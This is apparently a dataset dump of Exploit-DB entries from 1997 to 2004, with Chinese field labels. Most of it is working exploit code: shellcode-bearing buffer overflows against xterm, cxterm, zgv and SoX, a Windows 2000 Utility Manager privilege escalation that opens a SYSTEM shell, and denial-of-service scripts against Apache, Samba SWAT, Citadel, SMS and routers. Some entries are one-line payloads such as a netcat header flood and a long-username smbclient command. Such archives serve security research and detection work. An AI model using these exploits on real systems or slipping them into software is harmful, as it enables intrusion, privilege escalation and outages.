QLWD/code_shield huggingface dataset:
标题: OllyDbg 1.10 - Format String EDB-ID: 388 CVE: 2004-0733 类型: LOCAL 平台: WINDOWS 发布日期: 2004-08-10 漏洞利用脚本: // Exploit opens a new cmd.exe.Tested on win2k(en)+sp4(en)+ollydbg v1.09d
// Open exploit with ollydebug and run the exploit from ollydebug(F9 key).
// Coded by Ahmet Cihan(a.k.a. hurby)
// Thanx to r3d_b4r0n, Murat Erdo??an(a.k.a. Stormwr), Onur Cihan(a.k.a.eurnie and 3710336), Orhan Tun????z and Mehmet Yakut.

#include <stdio.h>
#include <windows.h>
#include <winbase.h>

#pragma comment(lib,"kernel32.lib")

void main(){
        unsigned char buffer[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
\x90\x90\x90\x90\xEB\x0F\x58\x80\x30\x99\x40\x81\x38\x54\x55\x52\x4B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF\
\x12\x75\xCC\x12\x75\xF1\xFC\xE1\xFC\xB9\xF1\xFA\xF4\xFD\xB7\x14\xDC\x61\xC9\x21\x26\x17\x98\xE1\x66\x49\
\x54\x55\x52\x4B\xCD%.1423x\x3E\x02\x4B\x02";

        OutputDebugString(buffer);
}

// milw0rm.com [2004-08-10] URL: https://www.exploit-db.com/exploits/388
标题: CVSTrac - Arbitrary Code Execution EDB-ID: 379 CVE: 2004-1456 类型: REMOTE 平台: LINUX 发布日期: 2004-08-06 漏洞利用脚本: filediff?f=CVSROOT/rcsinfo&v1=1.1&v2=1.2;last;

# milw0rm.com [2004-08-06] URL: https://www.exploit-db.com/exploits/379
标题: Microsoft Internet Explorer - 'mshtml.dll' Remote Null Pointer Crash EDB-ID: 376 CVE: 2004-2434 类型: DOS 平台: WINDOWS 发布日期: 2004-08-04 漏洞利用脚本: <center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a>



// milw0rm.com [2004-08-04] URL: https://www.exploit-db.com/exploits/376
标题: Microsoft Windows SMS 2.0 - Denial of Service EDB-ID: 366 CVE: 2004-0728 类型: DOS 平台: WINDOWS 发布日期: 2004-07-24 漏洞利用脚本: #!/usr/bin/perl

#############################
#
# SMS DOS proof of concept and test code
#
#############################

use Socket;
use IO::Socket;

if (@ARGV != 1)
{
print "usage: $0 <host or ip>\n";
exit;
}

$host = shift(@ARGV);

$hexmsg = converthex("5243483016004000524348455858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858");

print "\nCreating socket for connection to: $host\n\n";

my $sock1 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => "(2702)", Proto
=> "tcp") or die("Could not create socket: $!\n");

$sock1->autoflush(1);

print $sock1 "$hexmsg";

while (<$sock1>)
{
print;
}

print "\nPacket sent to $host (please wait) ...\n";

sleep(2);

print "Verifying status of $host ...\n";

sleep(2);

my $sock2 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => '(2702)', Proto
=> 'tcp') or die("\nDOS was successful - $host is down ...\n");

print "\nAttempt was not successful. $host is still alive and responding ...\n";

close($sock1);
close($sock2);

#############################
# End main code, start subs
#############################

sub converthex
{
local ($l) = @_;
$l =~ s/([0-9a-f]{1,2})\s*/sprintf("%c",hex($1))/egi;

return $l;
}

#############################
# End code
#############################

# milw0rm.com [2004-07-24] URL: https://www.exploit-db.com/exploits/366
标题: Flash FTP Server - Directory Traversal EDB-ID: 361 CVE: 2004-1783 类型: REMOTE 平台: WINDOWS 发布日期: 2004-07-22 漏洞利用脚本: TestCode:
C:\>ftp localhost
Connected to server.
220 Flash FTP Server v2.1 ready...
User (server:(none)): CoolICE
331 Password required for CoolICE.
Password:
230 User CoolICE logged in.
ftp> get /winnt/system.ini
200 Port command successful.
150 Opening data connection for /winnt/system.ini.
226 File sent ok
ftp: 227 bytes received in 0.01Seconds 22.70Kbytes/sec
ftp>

--------------------------
C:\>ftp -d localhost
Connected to server.
220 Flash FTP Server v2.1 ready...
User (Server:(none)): anonymous
---> USER anonymous
331 Password required for anonymous.
Password:
---> PASS CoolICE@China.com
230 User anonymous logged in.
ftp> pwd
---> XPWD
257 "/C:/inetpub/ftproot/" is current directory.
ftp> cd /
---> CWD /
501 CWD failed. No permission
---> CWD ..
501 CWD failed. No permission
ftp> cd ...
---> CWD ...
250 CWD command successful. "C:/inetpub/ftproot/.../" is current directory.
ftp> cd /
---> CWD /
501 Cannot accept relative path using dot notation
ftp> pwd
---> XPWD
257 "/C:/" is current directory.

# milw0rm.com [2004-07-22] URL: https://www.exploit-db.com/exploits/361
标题: Conceptronic CADSLR1 Router - Denial of Service EDB-ID: 363 CVE: 2004-2045 类型: DOS 平台: HARDWARE 发布日期: 2004-07-22 漏洞利用脚本: $ $victima="ip.victim"
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$victima"'\r\nAuthorization: 
Basic " . 'A' x 65536 . "\r\n\r\n"' | nc -vvn $victima 80 

# milw0rm.com [2004-07-22] URL: https://www.exploit-db.com/exploits/363
标题: Microsoft Internet Explorer - Denial of Service EDB-ID: 365 CVE: 2004-0484 类型: DOS 平台: WINDOWS 发布日期: 2004-07-23 漏洞利用脚本: <STYLE>@;/*

// milw0rm.com [2004-07-23] URL: https://www.exploit-db.com/exploits/365
标题: SoX - Local Buffer Overflow EDB-ID: 369 CVE: 2004-0557 类型: LOCAL 平台: LINUX 发布日期: 2004-08-01 漏洞利用脚本: # POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
# Tested Under Slackware 9.1
# Serkan Akpolat sakpolat@gmx.net | deicide@siyahsapka.org
# Homepage: http://deicide.siyahsapka.org
# Greets to: Virulent
# deicide@gate:~$ play britney.wav
# sh-2.05b$

# "jmp %esp" from libc.so , change this if needed..
retJmpEsp=0x4029824B

# intel_order() from MOSDEF
def intel_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str

# Wave Header
begin = "\x52\x49\x46\x46\x74\x05\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20" +\
"\x32\x00\x00\x00\x02\x00\x01\x00\x70\x17\x00\x00\x00\x0c\x00\x00" +\
"\x00\x01\x04\x00\x20\x00\xf4\x01\x07\x00\x00\x01\x00\x00\x00\x02" +\
"\x00\xff\x00\x00\x00\x00\xc0\x00\x40\x00\xf0\x00\x00\x00\xcc\x01" +\
"\x30\xff\x88\x01\x18\xff\x66\x61\x63\x74\x04\x00\x00\x00\x00\x00" +\
"\x00\x00\x64\x61\x74\x61\x00\x00\x00\x00\x4c\x49\x53\x54\x9a\x01" +\
"\x00\x00\x49\x4e\x46\x4f\x49\x41\x52\x54\x08\x00\x00\x00\x44\x65" +\
"\x69\x63\x69\x64\x65\x00\x49\x43\x52\x44\x7e\x01\x00\x00"
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
wavFile = open("britney.wav", "wb")
wavFile.write(evilBuf)
wavFile.close()
print "Evil Song has been created :Pp"

# milw0rm.com [2004-08-01] URL: https://www.exploit-db.com/exploits/369
标题: Samba 3.0.4 - SWAT Authorisation Buffer Overflow EDB-ID: 364 CVE: 2004-0600 类型: REMOTE 平台: LINUX 发布日期: 2004-07-22 漏洞利用脚本: #!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#

use IO::Socket;
use strict;

my $host = $ARGV[0];

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, 
PeerPort => "901" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http = "GET / HTTP/1.1\r
Host: $host:901\r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 
Firefox/0.9.1\r
Accept: text/xml\r
Accept-Language: en-us,en;q=0.5\r
Accept-Encoding: gzip,deflate\r
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r
Keep-Alive: 300\r
Connection: keep-alive\r
Authorization: Basic =\r
\r
";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while (<$remote>)
{
 print $_;
}
print "\n";

close $remote;

# milw0rm.com [2004-07-22] URL: https://www.exploit-db.com/exploits/364
标题: Citadel/UX - Remote Denial of Service (PoC) EDB-ID: 370 CVE: 2004-1705 类型: DOS 平台: LINUX 发布日期: 2004-08-02 漏洞利用脚本: /* citadel_dos.c
*
* Citadel/UX Remote DoS exploit (Proof of Concept)
*
* Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 96+1
#define ERROR -1
#define TIMEOUT 3
#define PORT 504

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
void use(char *program);

int main(int argc, char *argv[]) {
char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE];
int sockfd;
struct hostent *he;
struct sockaddr_in dest_dir;

if(argc != 2) use(argv[0]);

p = buffer;

printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");

memset(p, 'A', 96);
p += 92;
*p = '\0';

printf(" [+] verifying host:\t");
fflush(stdout);

if((he=gethostbyname(argv[1])) == NULL) {
herror("Error");
printf("\n");
exit(1);
}

printf("OK\n");

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(PORT);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

printf(" [+] conecting...\t");
fflush(stdout);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf("Closed\n\n");
exit(1);
}

printf("OK\n");

printf(" [+] sending exploit...\t");
fflush(stdout);

recv(sockfd, temp, sizeof(temp), 0);
send(sockfd, "USER ", 5, 0);
send(sockfd, buffer, strlen(buffer), 0);
send(sockfd, "\n", 1, 0);
close(sockfd);

printf("OK\n\n");
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {

int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);
FD_ZERO(&wrf);

FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}

void use(char *program) {
printf("Use: %s <host>\n", program);
exit(1);
}
---------------------------------- End Code: citadel_dos.c ----------------------------------

Compiling and running in the following manner:
coki@servidor:~$ make citadel_dos
coki@servidor:~$ ./citadel_dos localhost

Citadel/UX Remote DoS exploit (Proof of Concept)
by CoKi 

[+] verifying host: OK
[+] conecting... OK
[+] sending exploit... OK

coki@servidor:~$ 

// milw0rm.com [2004-08-02] URL: https://www.exploit-db.com/exploits/370
标题: Apache - Arbitrary Long HTTP Headers Denial of Service EDB-ID: 371 CVE: 2004-0493 类型: DOS 平台: LINUX 发布日期: 2004-08-02 漏洞利用脚本: #include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>

#define A 0x41
#define PORT 80

struct sockaddr_in hrm;

int conn(char *ip)
{
int sockfd;
hrm.sin_family = AF_INET;
hrm.sin_port = htons(PORT);
hrm.sin_addr.s_addr = inet_addr(ip);
bzero(&(hrm.sin_zero),8);
sockfd=socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr)))<0)
{
perror("connect");
exit(0);
}
return sockfd;
}
int main(int argc, char *argv[])
{
int i,x;
char buf[300],a1[8132],a2[50],host[100],content[100];
char *ip=argv[1],*new=malloc(sizeof(int));
sprintf(new,"\r\n");
memset(a1,'\0',8132);
memset(host,'\0',100);
memset(content,'\0',100);
a1[0] = ' ';
for(i=1;i<8132;i++)
a1[i] = A;
if(argc<2)
{
printf("%s: IP\n",argv[0]);
exit(0);
}
x = conn(ip);
printf("[x] Connected to: %s.\n",inet_ntoa(hrm.sin_addr));
sprintf(host,"Host: %s\r\n",argv[1]);
sprintf(content,"Content-Length: 50\r\n");
sprintf(buf,"GET / HTTP/1.0\r\n");
write(x,buf,strlen(buf));
printf("[x] Sending buffer...");
for(i=0;i<2000;i++)
{
write(x,a1,strlen(a1));
write(x,new,strlen(new));
}
memset(buf,'\0',300);
strcpy(buf,host);
strcat(buf,content);
for(i=0;i<50;i++)
a2[i] = A;
strcat(buf,a2);
strcat(buf,"\r\n\r\n");
write(x,buf,strlen(buf));
printf("done!\n");
close(x);

}

// milw0rm.com [2004-08-02] URL: https://www.exploit-db.com/exploits/371
标题: Apache - Arbitrary Long HTTP Headers (Denial of Service) EDB-ID: 360 CVE: 2004-0493 类型: DOS 平台: MULTIPLE 发布日期: 2004-07-22 漏洞利用脚本: #/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul 1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#

use IO::Socket::INET;

$host="10.10.10.114";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
    $buf=" $buf4\r\n";
    send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";

send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock); URL: https://www.exploit-db.com/exploits/360
标题: SSH (x2) - Remote Command Execution EDB-ID: 349 CVE: 2001-0144 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-01 漏洞利用脚本: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/349.tgz (x2.tgz)

# milw0rm.com [2002-05-01] URL: https://www.exploit-db.com/exploits/349
标题: Lexmark Multiple HTTP Servers - Denial of Service EDB-ID: 358 CVE: 2004-0740 类型: DOS 平台: HARDWARE 发布日期: 2004-07-22 漏洞利用脚本: GET / HTTP/1.0\r\n /Host:AAAAAA[1024]. 

# milw0rm.com [2004-07-22] URL: https://www.exploit-db.com/exploits/358
标题: Microsoft Windows Server 2000 - Utility Manager Privilege Escalation (MS04-019) EDB-ID: 350 CVE: 2004-0213 类型: LOCAL 平台: WINDOWS 发布日期: 2004-07-14 漏洞利用脚本: //by Cesar Cerrudo  sqlsec at yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.

#include "stdio.h"
#include "windows.h"


int main(int argc, char* argv[])
{
 HWND lHandle, lHandle2;
 POINT point;
 char sText[]="%windir%\\system32\\cmd.ex?";

//  run utility manager
// system("utilman.exe /start");
// Sleep(500);

 lHandle=FindWindow(NULL, "Utility manager");   
 if (!lHandle) {
  printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then 
run UtilManExploit2.exe\n");
  return 0;
 }

 PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button 
in the taskbar or Alt+Space Bar
 
 Sleep(100);

 SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP  0x0365  
lParam must be <>NULL 
 Sleep(300);
 
 SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN, 
VK_RETURN, 0);
 Sleep(500);


 // find open file dialog window
 lHandle = FindWindow("#32770","Open");

 // get input box handle
 lHandle2 = GetDlgItem(lHandle, 0x47C);
 Sleep(500);

 // set text to filter listview to display only cmd.exe
 SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
 Sleep(800);

 // send return
 SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

 //get navigation bar handle
 lHandle2 = GetDlgItem(lHandle, 0x4A0);
 
 //send tab
 SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
 Sleep(500);
 lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
 //get list view handle
 lHandle2 = GetDlgItem(lHandle2, 0x1);

 SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
 SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
 SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
 Sleep(500);

 //popup context menu
 PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
 Sleep(1000);

 // get context menu handle
 point.x =10; point.y =30;
 lHandle2=WindowFromPoint(point);

 SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
 SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
 SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

 SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
 Sleep(500);
 SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// 
close open error window
 SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// 
close utility manager
 return 0;
}


// milw0rm.com [2004-07-14] URL: https://www.exploit-db.com/exploits/350
标题: Solaris 5.5.1 X11R6.3 - xterm '-xrm' Local Privilege Escalation EDB-ID: 338 CVE: 1999-0126 类型: LOCAL 平台: SOLARIS 发布日期: 1997-05-28 漏洞利用脚本: /*
 * X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define EXTRA2 1300
#define BUF_LENGTH 400
#define EXTRA 500
   /* Need an addr such that contents of addr+0xe98 = 0 */
#define SAFE_ADDR ((unsigned)0xefff2008)
#define STACK_OFFSET 0x4800
#define SPARC_NOP 0xa61cc013

u_long sparc_shellcode[] =
{
    0x2d0bd89a, /* sethi  %hi(0x2f626800), %l6  */
    0xac15a16e, /* or  %l6, 0x16e, %l6          */
    0x2f0bdadc, /* sethi  %hi(0x2f6b7000), %l7  */
    0xae15e368, /* or  %l7, 0x368, %l7          */
    0x900b800e, /* and  %sp, %sp, %o0           */
    0x9203a00c, /* add  %sp, 0xc, %o1           */
    0x941ac00b, /* xor  %o3, %o3, %o2           */
    0x9c03a014, /* add  %sp, 0x14, %sp          */
    0xec3bbfec, /* std  %l6, [ %sp + -20 ]      */
    0xc023bff4, /* clr  [ %sp + -12 ]           */
    0xdc23bff8, /* st  %sp, [ %sp + -8 ]        */
    0xc023bffc, /* clr  [ %sp + -4 ]            */
    0x8210203b, /* mov  0x3b, %g1               */
    0x91d02008, /* ta  8                        */
    0xffffffff, /* illegal                      */
};

u_long get_sp(void)
{
    asm("mov %sp,%i0 \n");
}

char buf[BUF_LENGTH + EXTRA + EXTRA2 + 8];
char longvar[0x4000] = "BLAH=";

void main(int argc, char *argv[])
{
    char *env[2];
    unsigned long targ_addr;
    u_long *long_p;
    int i, code_length = sizeof(sparc_shellcode),dso=0;

    if(argc > 1) dso=atoi(argv[1]);

    long_p =(u_long *) buf;

    for (i = 0; i < EXTRA2 / sizeof(u_long); i++)
        *long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24);

    targ_addr = get_sp() - STACK_OFFSET - dso;
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = SPARC_NOP;

    for (i = 0; i < code_length / sizeof(u_long); i++)
        *long_p++ = sparc_shellcode[i];

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = targ_addr;

    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
           targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

    /* This is just to shove the stack down a bit */
    memset(&longvar[5], 'a', sizeof longvar-6);
    longvar[sizeof longvar -1] = '\0';
    env[0] = longvar;
    env[1] = NULL;

    execle("./xterm", "xterm", "-xrm", buf,(char *) 0, env);
    perror("execl failed");
}

// milw0rm.com [1997-05-28] URL: https://www.exploit-db.com/exploits/338
标题: LibXt - 'XtAppInitialize()' Local Overflow *xterm EDB-ID: 331 CVE: 1999-0040 类型: LOCAL 平台: LINUX 发布日期: 1997-05-14 漏洞利用脚本: /*

   cxterm buffer overflow exploit for Linux.  This code is tested on
both Slackware 3.1 and 3.2.

     Ming Zhang
                                        mzhang@softcom.net
*/
#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h>
#include <fcntl.h>
   
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] = 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
   
void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

/* use a different offset if you find this program doesn't do the job */
   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("Buy more RAM!\n");
      exit(0);
   }
   ptr = buff;
      
   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE; 
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];
   
   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,  
         "This bug is discovered by Ming Zhang
(mzhang@softcom.net)\n");  
    /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
    execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}

// milw0rm.com [1997-05-14] URL: https://www.exploit-db.com/exploits/331
标题: zgv - '$HOME' Local Buffer Overflow EDB-ID: 339 CVE: 1999-1483 类型: LOCAL 平台: LINUX 发布日期: 1997-06-20 漏洞利用脚本: /*
 *
 * zgv exploit coded by BeastMaster V on June 20, 1997
 *
 * USAGE:
 *   For some strage reason, the filename length of this
 *   particular exploit must me one character long, otherwise you
 *   will be drop into a normal unpriviledged shell. Go Figure....
 *
 *   $ cp zgv_exploit.c n.c
 *   $ cc -o n n.c
 *   $ ./n
 *   Oak driver: Unknown chipset (id =  0)
 *   bash#
 *
 * EXPLANATION: zgv (suid root) does not check bounds for $HOME env.
 * TEMPORARY FIX:  chmod u-s /usr/bin/zgv
 * NOTE: Don't forget to visit http://www.rootshell.com for more exploits.
 * DISCLAIMER: Please use this in a responsible manner.
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  "\xcd\x80/"
  "/bin/sh"
  "0";

char *get_sp() {
   asm("movl %esp,%eax");
}

#define bufsize 4096
char buffer[bufsize];

main() {
  int i;

  for (i = 0; i < bufsize - 4; i += 4)
    *(char **)&buffer[i] = get_sp() -4675;

  memset(buffer, 0x90, 512);
  memcpy(&buffer[512], shellcode, strlen(shellcode));

  buffer[bufsize - 1] = 0;

  setenv("HOME", buffer, 1);

  execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
}

// milw0rm.com [1997-06-20] URL: https://www.exploit-db.com/exploits/339
标题: Microsoft Windows NT - Crash with an Extra Long 'Username' Denial of Service EDB-ID: 329 CVE: 1999-0224 类型: DOS 平台: WINDOWS 发布日期: 1997-04-01 漏洞利用脚本: You can crash an NT box (possibly W95 too) by sending a very long username in a Winpopup message. This is easy to do from UNIX with 'smbclient -U LOTSandLOTSofcrap -M host'.

# milw0rm.com [1997-04-01] URL: https://www.exploit-db.com/exploits/329